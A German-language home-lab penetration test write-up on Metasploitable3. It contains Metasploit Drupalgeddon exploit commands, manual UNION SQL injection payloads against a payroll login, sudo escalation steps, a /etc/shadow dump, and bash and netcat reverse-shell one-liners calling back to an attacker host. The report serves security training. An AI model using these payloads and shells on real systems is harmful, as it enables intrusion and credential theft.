
Home-Lab-Penetrationstest-Bericht zu Metasploitable3 mit Nmap-Recon, Drupalgeddon RCE, SQL-Injection, SSH-Credential-Reuse, sudo-Privilegieneskalation und Reverse Shells.
Autor: Arlen Fortunato
Datum: September 2026
Umgebung: Parrot OS (Angreifer) → Metasploitable3 Ubuntu 14.04 (Ziel)
Umfang: Vollständiger Netzwerk-Penetrationstest — Enumeration, Ausnutzung, Rechteausweitung, Post-Exploitation
Typ: Heimlabor / Capture The Flag-Übung
⚠️ Alle untenstehenden Anmeldedaten sind geschwärzt. Dies war eine legale, isolierte Heimlabor-Übung.
| Tool | Rolle |
|---|---|
| Nmap | Portscan, Dienst-/Versionserkennung, OS-Fingerprinting |
| Metasploit (msfconsole) | Ausnutzung (CVE-2014-3704), Sitzungsverwaltung |
| msfvenom | Payload-Generierung (bash/netcat Reverse Shells) |
| nc (netcat) | Reverse-Shell-Listener |
| curl / sed | Manuelles SQLi-Erstellen + HTML-Ausgabeformatierung |
| ssh / scp | Remote-Zugriff, Validierung von Anmeldedaten |
| openssl s_client | TLS/SSL-Dienstverifikation |
| gobuster | Verzeichnis-Brute-Forcing (Web-Enumeration) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
Betriebssystem: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
Schwachstelle: UnrealIRCd 3.2.8.1 wurde historisch mit einer trojanisierten Binärdatei verbreitet, die beliebige Befehle ausführt, wenn ein nicht authentifizierter Client vor der Registrierung eine Trigger-Zeichenkette sendet — RCE als der IRC-Daemon-Benutzer.
Ausnutzungsversuch: Metasploit-Modul exploit/unix/irc/unreal_ircd_3281_backdoor mit Payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Der Modul-Autocheck meldete den Dienst als anfällig; keine Sitzung zurückgegeben bei keinem Payload.
Durchgeführte Fehlerbehebung:
nc -vz)openssl s_client)nc gab IRC-Protokollfehler 451 zurück — Befehl wurde als IRC-Befehl geparst, nie ausgeführtSchlussfolgerung: Versionsbanner deutet auf den anfälligen Build hin, aber die Backdoor fehlt in dieser Instanz (saubere/neu kompilierte Binärdatei). Eingestuft als nicht ausnutzbar — falsch positiv, mit Nachweisen.
Schwachstelle: Drupal 7.x vor 7.32 enthält eine kritische SQL-Injection in der Datenbankabstraktionsschicht, die nicht authentifizierte Remote-Code-Ausführung ermöglicht.
Versionsbestätigung: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Ausnutzung:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Ergebnis:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Post-Exploitation-Enumeration:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 BenutzerkontenSchwachstelle: payroll_app.php Login-Formular, SQL-Injection im Passwortfeld. Keine Automatisierung verwendet — über curl erstellt.
Schritt 1 — Umgehung der Authentifizierung:
' or 1=1#
' schließt den SQL-String, or 1=1 erzwingt wahr, # kommentiert das abschließende Anführungszeichen aus.
Schritt 2 — Spaltenanzahl + Anzeige-Zuordnung:
' UNION SELECT null, null, null, null# -- kein Fehler = 4 Spalten
' UNION SELECT 1, 2, 3, 4# -- Marker: 1=Username, 2=First, 3=Last, 4=Salary
Schritt 3 — information_schema-Enumeration:
| Frage | Antwort |
|---|---|
| DB-Version / Benutzer | MySQL 5.5.62, root@localhost |
Schritt 4 — Dump (Passwörter geschwärzt):
' UNION SELECT username, password, salary, null FROM users#
Weg 1 — Standardkonto: Standard-Anmeldedatenpaar vagrant authentifizierte sich über SSH → Benutzer in der sudo-Gruppe mit (ALL : ALL) NOPASSWD: ALL.
Weg 2 — Wiederverwendung von Anmeldedaten: Aus dem SQLi-Dump gesammelte Anmeldedaten authentifizierten sich direkt über SSH als ein anderer Laborbenutzer (luke_skywalker, sudo-Gruppe, (ALL : ALL) ALL).
Bedeutung: demonstriert dienstübergreifende Wiederverwendung von Anmeldedaten — Anwendungs-Anmeldedaten wurden auf ein Systemkonto abgebildet.
vagrant → sudo -l zeigt NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Kein lokaler Exploit erforderlich — beide Konten besitzen übermäßig permissive sudo-Berechtigungen.
sudo cat /etc/shadow
16 md5crypt ($1$)-Hashes extrahiert — vollständige Sammlung von Anmeldedaten nach der Rechteausweitung.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Abgefangen auf nc -lnvp 4444 → interaktive Shell.
Payload 2 — netcat (Named-Pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Abgefangen auf nc -lnvp 4445 → interaktive Shell.
Mechanismus: Named Pipe (FIFO) überbrückt netcat stdin/stdout mit /bin/sh und bildet einen bidirektionalen Tunnel über einen einzigen Socket; FIFO wird danach bereinigt.
Alle Tests wurden ausschließlich in einem isolierten Heimlabor mit absichtlich anfälliger Software (Rapid7 Metasploitable3) durchgeführt. Es wurden keine Produktionssysteme oder nicht autorisierten Ziele angegriffen. Dieser Bericht dient ausschließlich Bildungszwecken und der persönlichen Kompetenzentwicklung.
| Port | Status | Dienst | Version |
|---|
| 21/tcp | offen | FTP | ProFTPD 1.3.5 |
| 22/tcp | offen | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | offen | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | offen | SMB | Samba smbd 3.X–4.X |
| 631/tcp | offen | IPP | CUPS 1.7 |
| 3306/tcp | offen | MySQL | MySQL (unautorisiert) |
| 3500/tcp | offen | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | offen | IRC | UnrealIRCd |
| 8080/tcp | offen | HTTP | Jetty 8.1.7.v20120910 |
| # | Schwachstelle | CVE / Typ | Port | Schweregrad | Ergebnis |
|---|
| 1 | UnrealIRCd Versions-Fingerprint — Backdoor-Sonde | CVE-2010-2075 | 6697 | ⚠️ Falsch positiv | Modul-Autocheck bestanden, manuelle Sonde fehlgeschlagen — Backdoor im Build nicht vorhanden |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Kritisch | Meterpreter-Shell als www-data |
| 3 | Payroll-App — UNION SQLi (manuell) | Manuelle Injection | 80 | 🔴 Kritisch | Vollständiger DB-Dump (15 Benutzer, Klartext-Passwörter — geschwärzt) |
| 4 | SSH — Standard- + wiederverwendete Anmeldedaten | Standard / Wiederverwendung von Anmeldedaten | 22 | 🔴 Kritisch | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Rechteausweitung (zwei Wege) | Fehlkonfiguriertes sudo | N/A | 🔴 Kritisch | root über beide Konten |
| 6 | Shadow-Dump | Post-Exploitation | N/A | 🔴 Kritisch | 16 md5crypt-Hashes extrahiert |
| 7 | Reverse Shells (bash + netcat) | msfvenom / manuelles Erstellen | 4444/4445 | 🟠 Hoch | Interaktive Shells am Angreifer-Listener abgefangen |
| Datenbanken | information_schema, drupal, mysql, payroll, performance_schema |
Tabellen in payroll | users |
Spalten in users | username, first_name, last_name, password, salary |
| Benutzername | Passwort | Gehalt |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 weitere Konten) | [REDACTED] | — |
| Befund | Empfehlung |
|---|
| UnrealIRCd Versions-Fingerprint | Integrität der Binärquellen überprüfen (Checksummen); aktualisieren oder entfernen |
| Drupal 7.5 | Auf neueste stabile Version aktualisieren; SA-CORE-2014-005 anwenden |
| Payroll SQLi | Parametrisierte Abfragen / Prepared Statements; Eingaben validieren |
| Standard-SSH-Anmeldedaten | Standardkonten rotieren/entfernen; schlüsselbasierte Authentifizierung erzwingen |
| Sudo-Überprivilegierung | Prinzip der minimalen Rechte anwenden; pauschale NOPASSWD-Gewährungen entfernen |
| Wiederverwendung von Anmeldedaten | Eindeutige Passwörter pro Dienst erzwingen; Passwortrichtlinie |
| Schwache Passwort-Hashing | Migration von md5crypt → bcrypt / Argon2id |